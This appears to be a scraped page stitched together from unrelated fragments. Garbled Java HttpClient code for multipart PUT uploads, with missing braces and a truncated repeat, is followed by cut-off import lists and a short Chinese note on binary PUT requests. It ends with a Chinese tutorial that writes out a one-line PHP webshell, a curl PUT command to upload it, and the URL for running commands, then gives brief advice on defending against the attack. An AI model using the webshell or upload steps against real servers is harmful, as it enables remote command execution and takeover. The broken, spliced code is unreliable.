public static CloseableHttpResponse putFilesWithHeader(String url,JSONObject requestJson,Map<String, String> header ,File... files) {
CloseableHttpResponse execute = null;
HttpPut httpPut = new HttpPut(url);
String responseStr = null;
if (header != null) {
for (Map.Entry<String, String> entry : header.entrySet()) {
httpPut.setHeader(entry.getKey(),entry.getValue());
MultipartEntityBuilder multipartEntityBuilder = MultipartEntityBuilder.create().setCharset(Charset.forName("UTF-8"));
for (File file : files) {
multipartEntityBuilder.addBinaryBody("facePic", file);
Set<Map.Entry<String, Object>> entries = requestJson.entrySet();
for (Map.Entry<String, Object> requestParam : entries ) {
multipartEntityBuilder.addTextBody(requestParam.getKey(),(String) requestParam.getValue());
HttpEntity entiy = multipartEntityBuilder.build();
httpPut.setEntity(entiy);
CloseableHttpClient closeableHttpClient = HttpClients.createDefault();
try {
execute = closeableHttpClient.execute(httpPut);
} catch (Exception e) {
e.printStackTrace();
return execute;
public static CloseableHttpResponse putFilesWithHeader(String url,JSONObject requestJson,Map<String, String> header ,File... files) { CloseableHttpResponse execute = null; HttpPut http...
import java.io.IOException;
import java.net.BindException;
import java.security.GeneralSecurityException;
import java.security.cert.CertificateException;
import java.security.ce
背景描述:使用PostMan 发送请求体是binary的请求
Java 代码实现(curl -PUT ‘127.0.01:9200/_bulk’ --data-binary @/Users/xx/Desktop/a.json1)
使用WebClient
import org.springframework.core.io.FileSystemResource;
import org.springframework.http.MediaType;
import org.springframework.web
PUT请求方式允许客户端在指定的URL上上传文件。为了在服务器上上传Webshell文件,可以使用PUT请求来上传Webshell文件。下面是一个示例:
1.首先创建一个名为webshell.php的文件,其中包含以下代码:
system($_GET['cmd']);
这是一个非常简单的Webshell,它允许攻击者执行命令。
2.使用PUT请求上传Webshell文件。可以使用命令行或者Burp Suite中的Intruder来进行PUT请求。以下是使用curl进行PUT请求的示例:
curl -X PUT -d @/path/to/webshell.php http://example.com/uploads/webshell.php
该命令将在服务器上的uploads目录中上传Webshell文件。
3.攻击者现在可以通过以下URL来访问Webshell:
http://example.com/uploads/webshell.php?cmd=command
其中command是攻击者要执行的命令。
使用PUT请求上传Webshell文件是一种常见的攻击技术,并且在没有足够安全保护的情况下,攻击者可以轻松地将Webshell上传到服务器上来进行远程控制。因此,服务器管理员需要采取措施来避免这种攻击。例如,禁用PUT请求,使用访问控制列表(ACL)来限制用户的访问权限,并定期检查服务器上的文件以查找不明文件。